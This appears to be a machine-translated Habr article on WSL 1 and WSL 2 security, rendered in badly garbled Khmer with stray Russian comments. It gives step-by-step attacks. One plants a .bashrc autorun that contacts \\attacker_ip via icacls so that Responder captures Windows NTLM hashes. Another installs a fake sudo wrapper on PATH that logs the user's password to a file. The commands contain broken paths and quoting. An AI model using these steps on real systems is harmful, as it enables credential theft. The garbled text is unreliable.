ααααΆααα½α, habr! OTUS ααΎαααααΎαααΆααααααα·ααααΆααααΈαααα»ααααα»ααΆ
αααα»αααααΆα 2016 αααα»αα αα»α Microsoft ααΆαααααΆααα
αα
αααα·ααααΆ WSL ααααΈααααα αααα IT (WααΆααααα»α Subsystem αααααΆαα Linux) ααααα
αααα’ααΆααααααΎα±ααααΆα’αΆα
ααααα½αααααα½αααααΌααααα½αααααααααααα·αα’αΆα
ααααααααΆααΈαα»αααΆαααααααα»αααααα»αααααΎααααΈαααααΆαααα·αααΆααααα»αα
ααααα’αααααααΎααααΆααααααααααααααα·ααααα·ααΆαααααααΆ αα·αααααα·ααααααα Windows αα·α Linux α αα
αα
αααα·ααααΆαααααααΎα±ααααΆα’αΆα
ααααΎα§ααααα Linux OS αα
αααα»αααα·ααααΆα Windows ααααα·αα
αΆαααΆα
αααααΎαααΆαααΈαα»α
ααΆα§ααΆα ααα αααααααΎ Multi-bootα αα
ααΎ Habr α’αααα’αΆα
ααααΎαα’ααααααα½αα
ααα½αααααααα·αααααΆα’αααΈα’αααααααααααααααΆαααααΎααααΆαα WSL α αααααΆαααΆαααΆααααα ααΆα’αα»αα αα
ααααααααΎαα’αααααααα ααααΆαααΆααα·ααααΆα’αααΈαα»ααααα·ααΆαααααααααααααααα·ααααα·ααΆαααααααααααΌαααΆαααααΎααα
ααΎααααΆααααααα ααΆααααα αααααααΉαααααΆαααΆααΆαααααΆααΆααααααααΌαααΆα α’αααααααΉααα·ααΆαα’αααΈαααααααα·αααααααααΆαααααααα WSL 1 αα·α 2 α αΎααα·αα·αααααΎαα§ααΆα αααααΆα
αααΎαααααΆαααΆααααα αΆαααΎαααααααααααααααΎαα
αα
αααα·ααααΆααΆαααααα α’αααααααααΌαααΆααααα
ααααΆ 2 αααααα ααΈαα½αααΉααααααααΌααα·ααΈααΆαααααααΆααααα αΆαααΆαααααΉααααΈααααΆαααααΈααΈαα»α
αα·αααΈαααΌα α’αααααααΈααΈαααΉαααΆαααααααααΉαααΆααααα
αααα·ααΆααΆαααΆααααα αα·ααααααΎαααΆαααΆααααα αΆαα‘αΎααα·αα
WSL 1: ααααααααααΆαααααααα
αααααΆααααΆααααααα αΌααα αααα»ααααα αΆαα»ααααα·ααΆα WSL αααααααΉαααααΌααααα»α ααΆα αΆαααΆα ααααα»αααΆααααααααΆα nuances ααααΆααααααααΆααααααΉαααΆαα’αα»ααααααααααααααα ααΆααα·α αα α αααααα½αααααα’αααααααΎααααΆαααααααααΌαααΆααααααααΆαααα WSL ααΊαααααααΆααααα»αααΆαααααΎααΆαααΆααααααααΆααΈαααΈαα»α αα ααΎαααΆαααΈααααααααΎαααΆαααααααααααααα·ααααα·ααΆα Windows α ααΌα ααααΆαααααααα ααΆαααααααΆαααααΆααααααααΌαααΊααΆαααΎαααααΎαααΌα αααα ααΈαα»α αααα’αΆα ααααα·ααααα·ααΆα (ELFs) α’αΆα ααααΎαααΆααααααααΆαααα ααΎααααααααααΈαααΌα ααΎααααΈαααααα ααΆαααΌαααααα ααΆααααα αααααααααααα·ααααα½αααααΌαααΆααααααΎαα‘αΎααα αααα»α Windows 10 αααα’αα»ααααΆαα±ααα’αααααααΎαααΆααααααα·ααΈααΈαα»α αααααααΎαααα»αααααΆαα α ααΆαααααααααααΆααααΆαααα½α ααΌα ααααααΆαααα»αααααα½αααααΌαααΆαααααΎα‘αΎαααΎααααΈααΌααααααΈαααα»ααα Linux syscalls αα ααΎ Windows α αααααααΌαααΆαα’αα»ααααααΆααααααααααααΆααααααααααααα·ααΈαααααΆααααΈ αα·αααααααααααΎαααΆαααααΈα ααΆαααααααααααΆααααααααααΎααα ααΌα αααα
ααΆααα·α α’ααααααααααΆαα½αααααααααααααα·ααααα·ααΆαααΈαα»α
ααααΌαααΆααααα
αα‘αΎαααΆαααααααΌαα»αααΊαααααΆα
αααΎα αα·αααααααααααΎαααΆααα·ααααα½α - pico α ααΈααααΆααααΆαααΆαααΎ α’αααα’αΆα
ααΎαααΎαααΆααααΎαααΆααααααααΎαααΆαααΎ Linux instance αα
ααΎ host ααααΌαααααΆαααΎαααααΎα α αΎαααααΌαααααααΎααααΆαααΌα
ααααΆαα
ααΉααααααα·ααΈ Windows ααααααΆα ααα»ααααααΎααααΎααΌα
ααααα
ααΎααααΈαααααα
ααΆαααα? αα
αααα»ααααααα
α αααΆαααΆα’ααΌααΈαααααΆαααααΎα‘αΎαααΆαααααΎα±ααααΆαα·αα’αΆα αααααααΎααααααααααααα·ααααα·ααΆα (ααΆαα·αααααΈαααΌ) αααααααΎαααΆααα OS ααααααααααααΌαααΆαααααααΉαααΆααΉαα αΆααααααΎαααααΎαααΆα α αΎαααΆαααααΎαα·ααΈααΆαααααααΌαα αα½αα
ααΌα αααααααααα·ααΈααΆαα½ααα αααα»αααααΎαααΆα pico α’αΆα ααααΎαααΆαααααα·ααα·αααΈααΊααα Windowsα
- αααα αΆααααΆαααααααΆαα·αααΆαααααααααααΆαα α ααΌααααααααααααααααααΌαααααααΌαααΆααααααααΆααααα’ααααααααααααΆαα·ααα;
- ααΆααααα½ααα·αα·αααααΆαα αΌαααααΎααααΌαααααααΎα‘αΎαααΆαααα αααΌααΈααααα»ααααα·ααΆαα αααΌααΈαααααΆαααΈααΆαααα αααα»αααΊααα α αΎαααΌα αααα Windows ααααΌαααΆαααΆαααααΎα±αααααααΎαα‘αΎααααα»αααααααααΆαααααα·ααΈαααααΆααααΈαααα’αΆα ααΎααα½ααΆα’ααααααααααααΆαααααΆααααααΎαααΆαααααααα ααααΎαααΆα pico ααααΌααααΌαααΆααααα αΆαααΆααααααααΆαααααΆααααααα
αααααΆαααααααααα―αααΆαααΈαα»α
ααααΎα―αααΆαααααααααΆααα’ααααααΌα
αα αα·αααααααα ααααααααα―αααΆα 2 ααααααααααΌαααΆααααααααα
Windows ααΎααααΈααααΎαααΆαααΆαα½α WSL - VolFS αα·α DriveFS α VolFS ααΊααΆααΆαα’αα»ααααααααααααααα―αααΆαααΈαα»α
DriveFS ααΊααΆααααααααα―αααΆααααααααΎαααΆααααααααα
ααΆαα
αααΆααααααααΈαααΌ ααα»ααααααΆαααααααΆαααααΎαααΎαααααΈααΆααααα
WSL 2
WSL 1 ααΆααααααααααα½αα ααα½αααααα·αα’αα»ααααΆαα±ααααααΎααΆααΎααααΈαααααααΆααα½αα’αα·ααααΆααααΆααα·α αα α α§ααΆα ααα ααΆαα·αααΆααααααααΆααααα»αααΆαααααΎαααΆααααααα·ααΈααΈαα»α 32 αααΈα α αΎαααΆαα·αα’αΆα ααααΎαααααα·ααΈαααααΆα§αααααααΆαααα ααΌα αααααα ααααΆα 2020 WSL 2 ααααΌαααΆαα ααααααΆα αααααααΆααααααΌααα·ααΈααΆααααααααα»αααΆααααΆαααααααααααα WSL 2 ααΊααΆαααΆαααΈααα·αααα·ααααααααΌαααΆαααααΎα±αααααααΎαα‘αΎααααααααΌααααααααααααααΆαααααΎααααΆααααααΆααααα WSL 1α α₯α‘αΌαααα α’αΆαααααααΎαααα αΆαααααααΌαααΆααααααααΆααααα’αααααααΎααααΆαα Windows OS α’αααα’αΆα ααααΎαααΎααααααααααααΌαααΆαααααααααααααααΈαα»α α ααΎααααΈααΆαααααααααΆαααΆαααααααααααα’αΆα ααΎαααΆα WSL 2 ααααΌαααΆαα’αα»αααααααααα’ααααΎ Hyper-V αα αααα»α Windows 10α αααα»αααααααααα Windows ααΆαααααααΆαααααΎαααΆαααΊαααααααααααααααα·ααααα·ααΆαααΈαα»α αααα―ααα ααΆαα½αα’ααα αα αΆαααΆαααα 1 αα WSL ααααΌαααΆαααααΆαααΆαα»αααΆαααααΆ αααααααΌαααΆαααααααααααΆαααα αΆααα·ααα ααααΆαα’αα·ααααααααΈαααΌαα αααα»ααααααααα ααΌα ααααααΆαααααΆααααααΌααα Hyper-V ααΊααααα·ααα½α α ααααΆααααααααα α»ααααααααΎααα ααΌα ααα:
αα
αααα»αααααααα ααΊααα Windows αα·α Linux ααΆαααααΆαααααΆαααααα½α α αΎαα
ααα»α
αααααααααΆααα
αααα»αααααααααα―αααΆαααα»ααααα ααα»ααααα
ααα»α
αααααααααααα·αααααααααα α’αααααααααααΆαααααααααα―αααΆαααααΌαααΆαα’αα»ααααααΆαααααααΆαααΈαααααα-αααΆαααΈααα»ααα»ααααααααΎαααΆααααααααΎαα·ααΈααΆα 9P α
ααααααααααααααα»αα αα»α Microsoft αααααααΌααααααααΆααααα»αααΆαααααΌααααΆα WSL 1 αα·α WSL 2 α ααααααΆααααΈαααΆααααααΆααααααΎααααΆααα
αα»ααααα·ααΆα WSL
αα αααααα ααΆαααΆαααΆαααΆα αααΎαααααα·αααααΆα’αααΈαα·ααΈααΆααααααα½αα ααα½ααααα»αααΆαααααΎααααΆααα§ααααα OS ααααα αααΆαα ααΎααααΈααΆααααα αΆαααααΆαααααααααΆαααααααααααα ααΎαααΉαααααΎααααααΈααααααα½αααααΎααααΈαα·αα·αααααΎαααΆαααΆαααααααααααΆαααΆααααα αΆααα ααααααααα αααααΈααΌαα ααααΆαααΆααααα αΆα αα·αααααΆααΈαααΌα
1. ααΆαα’αα»ααααααααααααα―αααΆαα αα·αααα·α αΌαααααΎ ααΆαα’αΆα ααααΆαααααα ααααααα/ααααααΆαααααΆααααααΌααα·ααααααα
ααΆαααααΆαααααΆαααααΌαααΆαααααΎα‘αΎαααΎααααΈαααααααΆααααααααΎα αααΆααα αΌαααααΎαααΆαααΈ Linux FS->Windows FS, Windows FS->Linux FS. ααΆαααααΆαααααΆαααΆααααα αΆαααΈαααααααΆααααα»αααΆαααααααα―αααΆααααααΆααααααα±αααα αααα»α OS ααααα α ααΆαααααΆααΆαααααααΌαααΆαααααΎα‘αΎαααΎααααΈαααα½α αααααΎααααα½α αα·ααα»ααααααααααααααααα―αααΆαα
ααααΆααΈαααΌα
- A. ααΆαααΆααααα αΆαααΈααααααααααααα·ααααα·ααΆα Windows - ααΆαααααααα―αααΆαααΈαα /etc αα Linux OS α
- α. ααΆαααΆααααα αΆαααΈααααααααααααα·ααααα·ααΆαααΈαα»α
- ααΆαααααααα―αααΆααα
αααα»αααα
C:Windows
,C:Program Files
,C:Users<User>
2. ααΆαα’αα»ααααααααααααΆαα
ααΆαααααΆαααααΆαααααΌαααΆαα’αα»αααααααααααΎα§ααΆα αααααααΆαααΆααααα αΆαααΈααααααααααααα·ααααα·ααΆαααΈαα»α αα ααΎααΈαααΌα αααααααα·αααααααααααααΆαααααΌαααΆαααααΎ αααααΊααααααΆααααααααααΆααααΎααααΆαααααααα
ααααΆααΈαααΌα
- ααΆαααΎαααΆαα αΌααα ααΆααα ααααααααααΌαααΆαααΆααααΆαααα ααΎααααααααααΈαααΌ
- ααΆαααΎαα ααααααααααΆααα·αααα·αααααα
- ααααΎαααΆαααααααα αααΆααααααααΎα―αααΆα elf αα ααΎααααααααααααα·ααααα·ααΆα Windows α
3. ααΆααααΆαα αΆααααααΎαααααΎαααΆααααααα·ααΈααααΆααΆααααααααΎαααααααααα WSL α
ααΆαααααΆαααααΆαααΊααα’ααααΎααΆααα·αααααΆαααααα½α - αααααααααααα»ααααα·ααΆααα·αα’αΆα ααααΆααα αΆααααααΉαααα·ααΆααααα αααα»αααΊααααα½ααααααααααααααααΎαααΆααααααααΎα’ααααααααααααΆααααα αααΆααααΈααααααααααααα·ααααα·ααΆααααα»αααααΈ WSL 1α αααα»αααααΈ WSL 2 αα·αααΆααα·ααΈααΎααααΈααΎαααααΉαααα·ααΆααααααααΎαα‘αΎααααααα αα αααα»αααΊαααααΆα ααααα‘αααα½ααα αααα»ααααΆαααΈααα·αααα·αααααααααααΆαα
ααααΆααΈαααΌα
1) ααΎαααααΎαααΆααααααα·ααΈαααααΆααααΆαα αΌαααααΎααΈα ααααΆααα ααΆαααααααααα α αΎαααΎαααααΉαααα·ααΆααααααααΆαα αΌαα
ααΆααα·ααααα WSL 1α ααΆαααααΆααα αΆαα hash (Windows)
ααΈαααα»αααΎαααΆααα ααααααααααΆαααααααα ααααΌαα’αααααααΌααααα αααα·ααΆααΆαααΆαααααα ααΆααα·αααααααΆααα’ααααΉαααααΌαααΆαα’αα»αααααα ααΎαα α’αΈαα½αααΆαα½αααΉα Windows 10 2004 αααααΆαααα‘αΎαα ααΌαααΆα Ubuntu 18.04 ααααΌαααΆαααααΎαααΎαααΆααΌαααΆαααααααααααααα·ααααα·ααΆααααααΆαα WSL α ααΌαααΆαααααΌαααΆαααααΎαααΎααααα ααααα α αΎαααΌαααΆαααααααααααΉαααααΎαααΆαααΌα ααααΆα ααΆααααααααΆαααααΆααααα‘αΎαααα αα
ααααΌαα’αααααααΌαααΎαααααΎαααΆα powershell.exe
ααΆα’ααααααααααααα
αααααΆαα WSL 1 α’αααααααΌαααααΎαααΆαααΆααααααααΆα
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #ΠΠΊΠ»ΡΡΠΈΡΡ ΡΡΠ½ΠΊΡΠΈΡ WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #ΠΠ°Π³ΡΡΠ·ΠΈΡΡ ΠΎΠ±ΡΠ°Π· Linux ΠΈΠ· ΠΌΠ°Π³Π°Π·ΠΈΠ½Π° Microsoft
Ubuntu.appx install βroot #Π£ΡΡΠ°Π½ΠΎΠ²ΠΈΠΌ ΠΎΠ±ΡΠ°Π·
ΠΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΠΏΡΠΈΠ΄Π΅ΡΡΡ ΠΏΡΠΎΠΊΠ»ΠΈΠΊΠ°ΡΡ ΠΏΡΠΎΡΠ΅ΡΡ Π½Π°ΡΡΡΠΎΠΉΠΊΠΈ ΠΈ ΡΠΎΠ·Π΄Π°ΡΡ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ, ΠΊΠΎΡΠΎΡΡΠΉ Π±ΡΠ΄Π΅Ρ ΠΈΠΌΠ΅ΡΡ ΠΌΠ΅Π½ΡΡΠ΅ ΠΏΡΠ°Π², ΡΠ΅ΠΌ root. ΠΠ»Ρ Π½Π°ΡΠΈΡ
ΡΠ΅ΡΡΠΎΠ² ΡΡΠΎ Π±ΡΠ΄Π΅Ρ ΠΎΠ±ΡΡΠ½ΡΠΉ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ sam.
Restart-Computer #ΠΠ΅ΡΠ΅Π·Π°Π³ΡΡΠ·ΠΈΠΌ
αααααΆααααΈα αΆααααααΎαα§αααααααα‘αΎααα·α α’αααα’αΆα α α ααΆααααααααΆ bash α ααααα·αααΎα’αααΈαααααΎαααΆαααΆαααααΉαααααΌα α’αααααΉαααΎαααααααααααααααααΆααααα αααα»ααα»αααΌα Windowsα
ααΎαααΉαααααΎααΆαα
ααα
αΆα Kali Linux ααΆαααΆαααΈαααααα’αααααΆααααα αΆα α αΎααααΆαααΈαααΆααα’ααααααΌααααααα·ααα
ααΎαααααΆαααΌαααααΆααααα½αα
α
αΌααααααααΆααΎαααΆααα·αααα·α
αΌαααααΎ WSL ααααα·αααΆααα·αααα·αα
ααΎαααΆαααΈα Windows α α
αΌαααΎαααααΆααΆαααΆααααα αΆαααααααααααααα·ααααα·ααΆαααΈαα»α
αααα α
ααΆααααααααΆααΈααΈαα»α
α ααΎααααΈα’αα»ααααααΆαααΆααααα αΆα ααΎαααΉαααααΎαα
αα
ααααα autorun ααααΆαααααα½α - ααΎαααΉαααααααααααααΈαααααααΎααααααΆααααΆαααααα·ααααα·αα
αααα»αααα·ααΆααΆαααΈαα»α
α ααΎααααΈααααΎααΌα
ααααα’αααααααΌαααααΆααααααΌαα―αααΆα .bashrc
.
αα ααΎαααΆαααΈααααααΆα WSL ααΎαααααα·ααααα·α
1. bash
2. ΠΠ΅ΡΠ΅Ρ
ΠΎΠ΄ΠΈΠΌ Π² Π΄ΠΎΠΌΠ°ΡΠ½ΡΡ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ: cd /home/sam/
2. echo Β«/home/sam/.attack.shΒ» >> .bashrc
3. echo Β«icalcs.exe Β» \\\\attacker_ip\\shareName\\Β» > /dev/null 2>&1Β» >> .attack.sh
4. chmod u+x .attack.sh
5. exit
αα ααΎαααΆαααΈα Kali Linux ααΎαααααΎαααΆαα
1. Responder -I eth0 -rdvw
αα ααΎαααΆαααΈα Windows ααΌαααΎαααααΎαααΆα bash α
ααΎααααα»ααααα αΆααααααααα ααΎαααΆαααΈα Kali Linuxα
ααΌα
ααααα αΎα ααΎαααα½αααΆαα’αααααααΎααααΆαα Windows hashes ααΆαααααααααααααα WSL αααααααα·ααααα·ααΆααααααααΆαα
ααΎααααααααααΈαα»α
α
ααΆααα·ααααα WSL 1α ααΆαααα½αααΆαααΆααααααααΆααα’αααααααΎααααΆαα (Linux OS)
αααααααΎααΆααα·ααααααα½ααααα αααα»αα’αα‘α»αααααα·αα·ααααααααΎαααΉααααααααα
α―αααΆα .bashrc
ααΆαααβαααααΆβααΆβα
αααΎαβαααα»αβαααβααααβααΎααααΈβααα½αβααΆαβααΆαααβαααααΆααβα’αααβααααΎβααααααααβααααα·ααααα·ααΆα Linux α
αααα αΆααααααΎα bash α αΎααααα αΌαααΆααααααααΆα
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtΒ» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
ααΎααααΈαααα
ααααΆαααΆααααα αΆαααααααααα α’αααααααΎααααΆαα Sam ααααΌαααΆαα α
sudo αα
αααα»αααααΆααΈαααΈαα»α
α αααααΆααααΈααα ααΆααααααααΆααα’αααααααΎααααΆαα Linux OS ααΉααααα·ααα
αααα»αα―αααΆα pass.txt
:
ααΆαα’αα»ααααααΆαααΆααααα αΆαααααΌαααΆααααααα±αααααααΆααααααααααΆαααααΉααααΈααα»αααααα
ααααααααααΆααααα’αααααααΉααααααΆα’αααΈααΆαα’αα»αααααα·ααΈααΆα 9P αα·α αΆαααΆα’αααΈααΆααααααΎααααΆαααΈαααααααααααΆαααα·ααΈααΆαααα αα·αα’αα»ααααααΆαααΆααααα αΆααααααααΎααΆαααααα
αααααΈα’αααααα·αααααααααΆαααααΎ
WSL 2 ααΆαααααΆαααααΆααα ααΆα’αΆααααα ααααααααααααΈαααΌαααααΆααα―αααΆαααΈαα»α
α’αΆαβαααααα
ααααα: www.habr.com